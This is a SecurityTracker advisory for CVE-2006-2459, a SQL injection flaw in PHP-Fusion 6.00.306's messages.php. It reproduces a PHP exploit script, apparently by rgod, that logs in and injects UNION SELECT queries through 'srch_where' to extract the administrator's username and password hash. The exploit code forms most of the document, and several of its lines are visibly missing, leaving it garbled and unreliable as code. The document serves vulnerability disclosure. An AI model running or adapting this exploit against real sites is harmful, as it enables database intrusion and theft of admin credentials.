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Category:   Application (Forum/Board/Portal)  >   PHP-Fusion Vendors:   Digital Dominion
PHP-Fusion Input Validation Bug in 'messages.php' Permits SQL Injection Attacks
SecurityTracker Alert ID:  1016111
SecurityTracker URL:
CVE Reference:   CVE-2006-2459   (Links to External Site)
Updated:  Nov 23 2009
Original Entry Date:  May 16 2006
Impact:   Disclosure of system information, Disclosure of user information, User access via network
Exploit Included:  Yes  
Version(s): 6.00.306
Description:   A vulnerability was reported in PHP-Fusion. A remote user can inject SQL commands.

The 'messages.php' script does not properly validate user-supplied input in the 'srch_where' parameter. A remote user can supply a specially crafted parameter value to execute SQL commands on the underlying database.

rgod reported this vulnerabiltiy.

The original advisory is available at:

Impact:   A remote user can execute SQL commands on the underlying database.
Solution:   No solution was available at the time of this entry.
Vendor URL: (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.

 Source Message Contents

Date:  16 May 2006 19:52:20 -0000
Subject:  PHP-Fusion <= 6.00.306 "srch_where" SQL injection / admin

#!/usr/bin/php -q -d short_open_tag=on
echo "PHP-Fusion <= v6.00.306 \"srch_where\" SQL Injection/Admin credentials disclosure\r\n";
echo "by rgod\r\n";
echo "site:\r\n\r\n";

if ($argc<5) {
echo "Usage: php ".$argv[0]." host path user pass OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to PHP-Fusion\r\n";
echo "user/pass: you need an account\r\n";
echo "Options:\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Example:\r\n";
echo "php ".$argv[0]." localhost /fusion/ username password\r\n";

function quick_dump($string)
  for ($i=0; $i<=strlen($string)-1; $i++)
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
 return $exa."\r\n".$result;
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    if (!$ock) {
      echo 'No response from proxy...';die;
  if ($proxy=='') {
    while (!feof($ock)) {
  else {
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
  #echo "\r\n".$html;

for ($i=3; $i<=$argc-1; $i++){
if ($temp=="-p")
if ($temp=="-P")

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "step 1 -> login...\r\n";
$data ="user_name=".urlencode(trim($user));
$packet="POST ".$p."news.php HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: http://".$host.$path."news.php\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: fusion_visited=yes; PHPSESSID=44ab49664b56b97036425427b1ffb8cf\r\n\r\n";
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(' ',$temp[1]);
echo 'Your cookie -> '.$cookie."\r\n\r\n";
if ($cookie=='') {die("Unable to login...");}

echo "step 2 -> inject some code in srch_where argument...\r\n";
$sql="999999 UNION SELECT 0,0,0,user_name,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM fusion_users WHERE user_level=103/*";
$packet ="GET ".$p."messages.php?folder=inbox&show=_&srch_where=".$sql." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
echo "admin: ".$admin."\r\n";

$sql="999999 UNION SELECT 0,0,0,user_password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM fusion_users WHERE user_level=103/*";
$packet ="GET ".$p."messages.php?folder=inbox&show=_&srch_where=".$sql." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
echo "hash:  ".$hash."\r\n";

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